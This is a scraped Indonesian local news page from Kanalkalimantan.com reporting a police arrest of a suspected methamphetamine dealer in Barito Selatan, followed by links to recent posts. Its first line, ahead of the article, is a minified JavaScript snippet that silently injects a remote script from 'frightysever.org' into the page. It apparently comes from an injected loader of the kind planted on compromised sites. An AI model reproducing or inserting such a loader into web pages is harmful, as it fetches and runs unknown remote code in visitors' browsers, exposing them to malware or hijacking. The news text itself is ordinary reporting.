(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

Satresnarkoba Polres Barsel Kembali Ringkus Pengedar Sabu


BUNTOK, Sat Resnarkoba Polres Barito Selatan (Barsel) kembali berhasil meringkus pengedar narkotika jenis sabu-sabu dengan tersangka berinisial SY alias TNL (33), warga Kelurahan Bangkuang Kecamatan Karau Kuala, Sabtu (2/3) sekitar pukul 04.00 WIB.

Kapolres Barsel AKBP Wahid Kurniawan SIK melalui Kasat Narkoba IPTU Sanip kepada Kanalkalimantan.com membenarkan telah berhasil meringkus SY. Penangkapan ini berawal informasi masyarakat yang resah dengan maraknya peredaran narkoba di Kelurahan Bangkung. “Berdasarkan informasi dari masyarakat tersebut, kita melakukan penyelidikan terhadap perilaku dn kegiatan tersangka,” kata Sanip.

Tersangka diketahui menyimpan serta mengedarkan barang haram tersebut di rumahnya. Selanjutnya, bersama anggota Sat Resnarkoba Polres Barsel disaksikan Ketua RT setempat melakukan pengeledahan terhadap SY.

Di kamar tersangka, petugas berhasil mendapatkan butiran kristal bening sabu-sabu dibungkus dengan plastik bening. “Yang disimpan, tersangka didalam lampu hias didalam kamarnya. Sebanyak, satu bungkus dengan berat 3,02 gram,” ungkap Sanip.

Menurut Sanip, dari pengakuan tersangka SY barang haram tersebut ia pesan dari Kecamatan Dusun Tengah Ampah Kabupaten Barito Timur (Bartim). Pemesanan sabu-sabu tersebut yakni menghubungi seseorang melalui telepon seluler. “Selanjutnya pesan itupun diantarkan langsung ke Kelurahan Bangkuang,” ujarnya.

Ia juga mengungkapkan, selain dari pengakuan tersangka sabu-sabu tersebut selain ia pergunakan sendiri juga dijual di Bangkuang. Dalam kasus ini polisi mengamankan satu bungkus plastik klip bening berisikan butiran kristal warna bening sabu-sabu berat 3,02 gram, satu buah Handphone Nokia warna biru dan uang tunai hasil penjualan sabu-sabu sebesar Rp 300 ribu.

Saat ini tersangka SY diamankan di Mapolres Barsel, Dia dikenakan Pasal 112 ayat (1) dan Pasal 114 ayat (1) Undang-Undang Republik Indonesia Nomor 35 Tahun 2009 tentang Narkotika. (digdo)

Reporter: Digdo
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.